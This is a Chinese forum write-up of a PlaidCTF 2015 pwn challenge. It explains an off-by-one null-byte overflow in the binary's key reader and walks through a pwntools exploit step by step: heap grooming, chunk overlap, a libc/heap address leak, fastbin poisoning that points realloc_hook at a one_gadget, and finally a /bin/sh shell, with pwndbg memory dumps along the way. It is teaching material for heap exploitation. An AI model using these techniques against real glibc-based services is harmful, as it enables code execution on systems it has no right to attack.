2015 plaidctf datastore(off by one)
紧接着半个月前分析的那篇2016 Asis b00ks(https://bbs.pediy.com/thread-246507.htm),这次同样是有分析了一道off by one 漏洞利用的题目,同样记录下来分享给像咱们一样的pwn萌新,实在是想说大佬们的文章都是写给大佬看的,那我来给大家补充一下细节。
这次的参考漏洞利用write up是plaid ctf 2015 plaiddb
https://0x3f97.github.io/pwn/2018/01/27/plaidctf2015-plaiddb/。
检查漏洞保护机制:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
程序主要有4个功能:GET、PUT、DUMP、DEL 。
然后来分析一下这个datastore的存储的数据结构。
通过PUT函数以及位于0xCF0的函数可以分析出datastore的数据结构,如下:
但是我只分析出了前三个数据单元内容是什么,后面的关于二叉树的内容需要分析位于0xcf0的函数分析得出,我没有分析完这个函数,因此最后有一部分的伪造堆内存的部分我没有弄清楚,数据结构如下:
struct node {
char *key;
long size;
char *data;
struct node *left;
struct node *right;
struct node *parent;
bool is_leaf;
}
函数的漏洞点位于0X1040处, 用于获取键值,当输入换行符时,会将其替换成 null 字节,如果输入长度为 chunk usable size 且最后一个字节为换行符的字符串,则会触发 off-by-one。chunk usable size为chunk当前实际可用的内存大小,如下:
char *get_key()
{
char *key; // r12@1
char *ptr; // rbx@1
size_t chunk_sz; // r14@1
char c; // al@3
char v4; // bp@3
signed __int64 v5; // r13@5
char *v6; // rax@6
key = (char *)malloc(8uLL);
ptr = key;
chunk_sz = malloc_usable_size(key);
while ( 1 )
{
c = _IO_getc(stdin);
v4 = c;
if ( c == -1 )
Goodbye();
if ( c == 10 )
break;
v5 = ptr - key;
if ( chunk_sz <= ptr - key )
{
v6 = (char *)realloc(key, 2 * chunk_sz);
key = v6;
if ( !v6 )
{
puts("FATAL: Out of memory");
exit(-1);
}
ptr = &v6[v5];
chunk_sz = malloc_usable_size(v6);
}
*ptr++ = v4;
}
*ptr = 0; <<<<<<<<<<<<<<<<<<<off by one 溢出点
return key;
}
本文主要是通过off by one 溢出修改下一个堆块的pre_inuse位,然后free下一个堆块使其向前合并内存,造成double free。然后通过double free修改malloc_hook为one_gadget来实现漏洞的利用。
double free的原理比较直接,简单来说就是重复释放同一个fastbin,但是在释放同一个fastbin的中间必须free()一次其他的fastbin。可以这么利用的原因是因为在free fastbin的时候,没有进行安全检查。但是unsorted bin,small bin,large bin都不可以实现double free原因是其检查了nextchunk的prev_inuse位,如下。
关于double free的入门可以看一下 :
https://heap-exploitation.dhavalkapil.com/attacks/double_free.html
但是本文章的利用的double free并不是那么简单的,加入在A处存在off by one 溢出,溢出覆盖了B的size内容的pre_inuse位,当free B的时候他会向前融合,通过构造B的pre_size项的内容我们可以使其向前合并至X处,但是我们必须事先将chunk x释放,而且x和B之间需要一个fastbin间隔,至此X至B的内存都已释放,此时我们如果在释放chunk c那么c也会出现在bins的链表当中,然后我们就可以控制c的内容了。
|chunk x | fastbin | chunk c | chunk A|chunk B|
可以参考:
http://www.freebuf.com/articles/system/91527.html
具体如何利用
关闭ALSR然后gdb.attach()动态调试是必须掌握的姿势,我一般都是gdb和ida同时看的,gdb动态调试到那一部分,碰到不清楚的就ida静态分析一下代码原理。gdb推荐使用pwndbg。
首先是将内存中初始化带有的一个struct_node删除,然后通过PUT几个struct_node来为我们后来的实现double free做准备。
DEL("th3fl4g")
PUT("A"*0x8, 0x80, p8(0)*0x80)
PUT("B"*0x8, 0x18, p8(0)*0x18)
PUT("C"*0x8, 0x60, p8(0)*0x60)
PUT("C"*0x8, 0xf0, p8(0)*0xf0)
下文的内存信息是内存的低字节,并且内存地址指向chunk的pre_size,并非指向mem。
此时bins的链表结构中的内容如下:
fastbin:
0x20: 0x58280
0x40: 0x58240
0x70: 0x581d0
其余为空
struct_node的地址信息如下:
struc_node key data
"A"*0x8 0x58000 0x58080 0x580a0
"B"*0x8 0x58130 0x58060 0x58040
"C"*0x8 0x58170 0x581b0 0x582a0
然后后面通过off_by_one溢出覆盖0x582a0的pre_size位。
覆盖之前我们先来看一下本来的0x582a0的内存信息:
x/10xg 0x5555557582a0
0x5555557582a0: 0x0000000000000000 0x0000000000000101 -------->可以看到此时位于0x2a0的chunk的pre_inuse位被置1,表示前面的chunk被使用。其实前面的chunk是fastbin中的0x20大小的内存地址是0x58280的chunk。
0x5555557582b0: 0x0000000000000000 0x0000000000000000
0x5555557582c0: 0x0000000000000000 0x0000000000000000
0x5555557582d0: 0x0000000000000000 0x0000000000000000
0x5555557582e0: 0x0000000000000000 0x0000000000000000
然后下面在进行PUT操作:
PUT("D"*0x8+p64(0)+p64(0x200), 0x20, p8(0)*0x20) # off by one
key的内容是"D"*0x8+p64(0)+p64(0x200),输入的长度为18个字节,正好是chunk usable size,且申请的chunk大小是0x20,正好将0x58280的fastbin分配用来存储key,因此此时将会off_by_one溢出,将0x582a0处的pre_inuse位覆盖为0,并且前面的p64(0x200)伪造了0x582a0的chunk的pre_size为0x200。同时从0x582a0向前0x200个字节恰好是0x580a0,即key为‘A'*0x8的chunk对应的data的地址。通过前面double free的讲解,我们了解到,只需要先DEL('A'*0x8),再DEL('C'0x8)我们可以free掉从0x580a0至0x583a0的内存。
PUT("D"*0x8+p64(0)+p64(0x200), 0x20, p8(0)*0x20)
查看内存:
pwndbg> x/50xg 0x555555758280
0x555555758280: 0x0000000000000001 0x0000000000000021
0x555555758290: 0x4444444444444444 0x0000000000000000
0x5555557582a0: 0x0000000000000200 0x0000000000000100 ----->可以看到pre_inuse位被覆盖为0,并且pre_size的大小被改成0x200,为我们后来的double free做好了基础。
0x5555557582b0: 0x0000000000000000 0x0000000000000000
0x5555557582c0: 0x0000000000000000 0x0000000000000000
然后进行DEL()操作,实现double free。
DEL("A"*0x8)
DEL("C"*0x8)
查看内存:
pwndbg> bins
fastbins
0x20: 0x5555557583d0 —▸ 0x5555557581b0 —▸ 0x555555758080 ◂— 0x0
0x30: 0x0
0x40: 0x555555758170 —▸ 0x555555758000 ◂— 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x5555557581d0 ◂— 0x0 ------->这个chunk内存被释放了两次,我们最后也是通过他来实现double free的利用。
0x80: 0x0
unsortedbin
all: 0x7ffff7dd1b78 (main_arena+88) —▸ 0x5555557580a0 ◂— 0x7ffff7dd1b78
可以看到当bins中只有一个bins中有空闲chunk时,其fd、bk均指向main_arena,这为我们泄露libc_base以及heap_base提供了条件。
smallbins
empty
largebins
empty
pwndbg> x/50xg 0x5555557580a0
0x5555557580a0: 0x0000000000000000 0x0000000000000301 ----->看到chunk的大小为0x300
0x5555557580b0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 ------>bins中只有一个chunk时,其fd、bk指针均指向main_arena
0x5555557580c0: 0x0000000000000000 0x0000000000000000
0x5555557580d0: 0x0000000000000000 0x0000000000000000
接下来由于‘B’*0x8的datastore还没有释放,可以控制此datastore的key以及data的内容,来泄露libc_base以及heap_base,如下图:
struct_node key data
"B"*0x8 0x581330 0x58060 0x58040
我们可以通过新PUT一个datastore来分配内存,使得空间的unsorted bin的其实位置正好是0x58130。然后fd、bk指代的main_arena将替代上图中的key以及data。
PUT新的datastore之前,我们查看一下‘B’*0x8的datastore对应的数据结构地址处的内存信息:
pwndbg> x/50xg 0x555555758130
0x555555758130: 0x0000000000000090 0x0000000000000040
0x555555758140: 0x0000555555758070 0x0000000000000018 ------>可以看到0x58070以及0x18分别对应于其key以及data-size,目前来看仍然是正常的,我们后文需要通过PUT一个新的datastore来覆盖这两个值,然后打印泄露相关信息。重新说明一下,这里的0x58070指向key的mem_data区域,而我们上文标注的key的地址信息是0x58060指向的key的pre_size,二者相差0x10,并不矛盾。
0x555555758150: 0x0000555555758050 0x0000000000000000
0x555555758160: 0x0000000000000000 0x0000555555758250
0x555555758170: 0x0000000000000001 0x0000000000000041
0x555555758180: 0x0000555555758000 0x00000000000000f0
0x555555758190: 0x00005555557582b0 0x0000555555758140
PUT一块新的
PUT("a", 0x88, p8(0)*0x88)
查看内存:
pwndbg> bins
fastbins
0x20: 0x5555557581b0 —▸ 0x555555758080 ◂— 0x0
0x30: 0x0
0x40: 0x555555758000 ◂— 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x5555557581d0 ◂— 0x0
0x80: 0x0
unsortedbin
all: 0x7ffff7dd1b78 (main_arena+88) —▸ 0x555555758130 ◂— 0x7ffff7dd1b78
smallbins
empty
largebins
empty
pwndbg> x/50xg 0x555555758130
0x555555758130: 0x0000000000000000 0x0000000000000271
0x555555758140: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 --------------------->可以看到‘B’*0x8对应的datastore的key以及data_size都被覆盖为main_arena的内容。
0x555555758150: 0x0000555555758050 0x0000000000000000
0x555555758160: 0x0000000000000000 0x0000555555758250
0x555555758170: 0x0000000000000001 0x0000000000000041
0x555555758180: 0x00005555557583e0 0x0000000000000088
重新梳理一下,目前我们已经double free一块地址空间,并且已经得到了libc_base和heap_base,我们的目的是利用大小为0x70的fastbin的0x581d0来实现double free的利用。
知道了libc_base我们可以求得realloc_hook()以及malloc_hook()等地址信息,知道了heap_base我们可以在伪造内存时保持原有内存信息不发生变化。
剩下的是,继续伪造内存,使0x581d0的fd指向realloc_hook(),在之后通过一系列操作使得分配大小为0x80的fastbin时,使得realloc_hook()指向one_gadget()。
关于one_gadget,这是一门神器,比system("/bin/sh")方便许多。
对于不了解one_gadget的可以参考:
https://bestwing.me/2016/12/30/one-gadget-rce/
https://www.yumpu.com/en/document/view/37809267/dragons-ctf
后文通过PUT新的datastore来达成我们的目的:
进行的操作:
payload = p64(heap_base+0x70)
payload += p64(0x8)
payload += p64(heap_base+0x50)
payload += p64(0)*2
payload += p64(heap_base+0x250)
payload += p64(0)+p64(0x41)
payload += p64(heap_base+0x3e0)
payload += p64(0x88)
payload += p64(heap_base+0xb0)
payload += p64(0)*2
payload += p64(heap_base+0x250)
payload += p64(0)*5+p64(0x71)
payload += p64(libc_base+realloc_hook_off) ------>覆盖fastbin0x501d0的fd指针,上面的data内容都是为了保证内存堆当中的其他信息不被破坏。
PUT("b"*0x8, 0xa8, payload)
查看bins:
pwndbg> bins
fastbins
0x20: 0x555555758080 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x5555557581d0 —▸ 0x7ffff7dd1aed (_IO_wide_data_0+301) ◂— 0xfff7a92e20000000 ------->可以看到已经成功的将realloc_hook()放入0x70的fastbin链表中
0x80: 0x0
unsortedbin
all: 0x7ffff7dd1b78 (main_arena+88) —▸ 0x5555557581e0 ◂— 0x7ffff7dd1b78
smallbins
empty
largebins
empty
后面通过一系列PUT操作来实现将realloc_hook()指向one_gadget,同时除了我们需要改动的内存以外,其他内存都保持其原有的状态。
payload = p64(0)*3+p64(0x41)
payload += p64(heap_base+0x290)
payload += p64(0x20)
payload += p64(heap_base+0x3b0)
payload += p64(0)*4+p64(0x21)
payload += p64(0)*3
PUT("c"*0x8, 0x78, payload)
payload = p64(0)+p64(0x41)
payload += p64(heap_base+0x90)
payload += p64(0x8)+p64(heap_base+0x230)
payload += p64(0)*2+p64(heap_base+0x250)
payload += p64(0x1)+p64(0)*3
PUT("d"*0x8, 0x60, payload)
one_gadget = libc_base+one_gadget2
system_addr = libc_base+system_off
payload = p8(0)*0x13
payload = p8(0)*0xb
payload += p64(one_gadget)
payload += p64(system_addr)
payload += p8(0)*0x45
payload += p8(0)*0x4d
PUT("e"*0x8, 0x60, payload)
GET("")
payload = "/bin/sh"
payload += p8(0)*0x12
GET(payload)
p.interactive()
总结
这道题目较上篇2016 Asis b00ks(off by one)难度大些,这一篇涉及到更多堆的内存管理,我也是从这开始刚刚真正了解些堆内存管理,除了off by one,并且还有one gadget,double free,以及和泄露libc_base的新技巧,都是刚刚涨的新姿势。
建议像我一样刚刚开始的萌新,还是要多看几遍malloc.c,碰到一些技巧比如double free不要只是到怎么用,还要知道为什么能这么用,为什么不能这么用,多查查源代码。
- End -
看雪ID:iddm
https://bbs.pediy.com/user-822769.htm
本文由看雪论坛 iddm 原创
转载请注明来自看雪社区
热门技术文章推荐: